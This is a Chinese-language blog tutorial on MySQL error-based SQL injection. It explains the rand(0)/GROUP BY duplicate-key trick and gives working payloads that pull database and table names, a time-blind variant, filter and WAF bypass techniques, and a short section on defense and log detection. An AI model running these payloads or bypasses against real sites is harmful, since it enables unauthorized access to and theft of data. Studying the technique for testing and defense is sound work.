news 2026/4/21 4:07:17

别再死记硬背了!用MySQL的`rand(0)`和`group by`亲手复现一次SQL报错注入

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
别再死记硬背了!用MySQL的`rand(0)`和`group by`亲手复现一次SQL报错注入

从零复现MySQL报错注入:用rand(0)group by破解SQL防御机制

当你第一次听说SQL注入时,脑海中浮现的可能是黑客在电影里快速敲击键盘的画面。但现实中的SQL注入更像是一场精心设计的数学魔术——而今天,我们要揭秘的就是其中最精妙的"报错注入"手法。不同于常见的盲注或联合查询注入,报错注入通过故意触发数据库错误来获取信息,就像用错误的钥匙开锁,却能从锁的反馈中猜出正确钥匙的形状。

1. 环境准备与基础概念

在开始实验之前,我们需要一个安全的测试环境。推荐使用Docker快速搭建MySQL容器:

docker run --name mysql-test -e MYSQL_ROOT_PASSWORD=123456 -p 3306:3306 -d mysql:5.7

连接数据库后,创建测试用的数据表:

CREATE TABLE users ( id INT AUTO_INCREMENT PRIMARY KEY, username VARCHAR(50), email VARCHAR(100) ); INSERT INTO users (username, email) VALUES ('admin', 'admin@example.com'), ('guest', 'guest@example.com'), ('test', 'test@example.com');

1.1 关键函数解析

报错注入的核心在于几个特殊的MySQL函数:

  • rand(seed): 生成伪随机数,指定种子后序列固定
  • floor(x): 向下取整函数
  • group by: 分组聚合操作
  • count(*): 计数函数

这些看似普通的函数组合在一起,却能产生意想不到的化学反应。特别是rand(0)这个固定种子的随机数生成器,它产生的序列是可预测的:

第一次: 0.8444218515250481 第二次: 0.7579544029403025 第三次: 0.420571580830845 ...

2. 报错注入的数学原理

让我们分解这个经典的报错注入语句:

SELECT count(*), concat(database(), floor(rand(0)*2)) as x FROM information_schema.tables GROUP BY x;

2.1 随机数种子的魔法

rand(0)*2会产生一个0到2之间的浮点数,经过floor()处理后只会得到0或1。关键在于种子0产生的固定序列:

调用次数rand(0)值rand(0)*2floor(rand(0)*2)
10.8441.6881
20.7581.5161
30.4210.8420
40.2590.5180
50.5111.0221

2.2 虚拟表的构建过程

当MySQL执行group by时,会在内存中创建一张虚拟临时表。这个表的构建过程是报错的关键:

  1. 读取第一条记录,计算floor(rand(0)*2)得到1
  2. 检查虚拟表中是否存在键1 → 不存在
  3. 准备插入时重新计算floor(rand(0)*2)得到1 → 插入(1,1)
  4. 读取第二条记录,计算得到1 → 已存在,计数加1 → (1,2)
  5. 读取第三条记录,计算得到0 → 不存在
  6. 准备插入时重新计算得到1 → 尝试插入(1,...)但主键1已存在 → 报错

这个过程可以用下面的状态表表示:

步骤操作计算值虚拟表状态结果
1处理第一条记录1准备插入
2插入第一条记录1{1:1}插入成功
3处理第二条记录1{1:1}计数增加到2
4处理第三条记录0{1:2}准备插入
5插入第三条记录1尝试{1:...}主键冲突

3. 实战演练:从报错到数据泄露

理解了原理后,我们可以构造实际的注入攻击。假设有一个易受攻击的查询:

$id = $_GET['id']; $query = "SELECT * FROM articles WHERE id = $id";

3.1 获取数据库名称

构造以下注入语句:

1 AND (SELECT 1 FROM ( SELECT count(*), concat( 0x23, (SELECT schema_name FROM information_schema.schemata LIMIT 0,1), 0x23, floor(rand(0)*2) ) as x FROM information_schema.tables GROUP BY x ) as y)

执行后将返回类似错误:

Duplicate entry '#mysql#1' for key 'group_key'

其中#mysql#就是我们要的数据库名。

3.2 提取表结构信息

获取当前数据库的表名:

1 AND (SELECT 1 FROM ( SELECT count(*), concat( 0x23, (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1), 0x23, floor(rand(0)*2) ) as x FROM information_schema.columns GROUP BY x ) as y)

3.3 防御与检测技巧

为了防止这类攻击,开发者应该:

  1. 使用参数化查询(prepared statements)
  2. 实施最小权限原则
  3. 过滤特殊字符
  4. 关闭错误回显

检测是否存在漏洞的方法:

-- 测试是否易受攻击 1 AND (SELECT 1 FROM (SELECT count(*),concat(0x23,version(),0x23,floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)y) -- 确认最少需要3条记录 SELECT count(*) FROM vulnerable_table; -- 小于3条可能不会报错

4. 高级技巧与变种

4.1 绕过过滤的替代方案

rand(0)被过滤时,可以尝试:

-- 使用其他固定种子 floor(rand(1)*2) -- 使用用户变量 SET @r=0; SELECT floor((@r:=@r+1)*0.5);

4.2 多语句组合注入

结合其他SQL特性实现更复杂的注入:

-- 时间盲注结合报错注入 1 AND IF(ASCII(SUBSTR(database(),1,1))>100, (SELECT 1 FROM (SELECT count(*),concat(0x23,database(),0x23,floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)y), SLEEP(3))

4.3 性能优化技巧

报错注入可能很耗资源,可以通过以下方式优化:

-- 限制扫描范围 SELECT count(*),concat(0x23,(SELECT username FROM users LIMIT 1),0x23,floor(rand(0)*2))x FROM information_schema.columns WHERE table_name='users' GROUP BY x;

5. 防御措施深度分析

5.1 参数化查询原理

真正的参数化查询会将SQL语句和参数分开发送:

客户端发送: SELECT * FROM users WHERE id = ? 客户端发送: 参数值1 服务器端: 安全执行

5.2 WAF绕过手法

了解防御才能更好攻击,常见的WAF绕过技巧:

  • 空白字符混淆:SEL%0aECT
  • 大小写混合:SeLeCt
  • 注释分割:SEL/*xxx*/ECT
  • 编码转换:CHAR(83,69,76,69,67,84)

5.3 日志分析与检测

管理员可以通过监控以下特征发现报错注入攻击:

  • 异常的group by语法
  • rand()floor()的组合使用
  • information_schema的频繁访问
  • 特定的错误代码(如1062主键冲突)

在MySQL日志中,典型的攻击特征表现为:

[Warning] /usr/sbin/mysqld: Duplicate entry '#mysql#1' for key 'group_key'
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/21 4:04:00

LimboAI社区贡献指南:从bug报告到代码提交的完整流程

LimboAI社区贡献指南:从bug报告到代码提交的完整流程 【免费下载链接】limboai LimboAI - Behavior Trees and State Machines for Godot 4 项目地址: https://gitcode.com/gh_mirrors/li/limboai LimboAI是一个为Godot 4引擎提供行为树和状态机功能的开源项…

作者头像 李华
网站建设 2026/4/21 4:01:16

掌握BigImageViewer:自定义图像加载器与工厂模式的完整指南

掌握BigImageViewer:自定义图像加载器与工厂模式的完整指南 【免费下载链接】BigImageViewer Big image viewer supporting pan and zoom, with very little memory usage and full featured image loading choices. Powered by Subsampling Scale Image View, Fres…

作者头像 李华
网站建设 2026/4/21 4:00:30

JVM调优实战:从GC日志分析到生产环境参数配置

JVM调优是Java后端开发者的必备技能,也是区分高级工程师与中级工程师的重要标志。当系统出现GC停顿时间长、内存持续增长、频繁Full GC等问题时,深入理解JVM的运行机制就成了解决问题的前提。 一、GC日志的正确打开方式 调优的第一步是获取准确的GC数据…

作者头像 李华
网站建设 2026/4/21 3:59:10

gh_mirrors/resume模板部署实战:Overleaf与本地编译完整教程

gh_mirrors/resume模板部署实战:Overleaf与本地编译完整教程 【免费下载链接】resume LaTeX template for my personal resume 项目地址: https://gitcode.com/gh_mirrors/resume/resume 在竞争激烈的求职市场中,一份专业美观的简历是脱颖而出的关…

作者头像 李华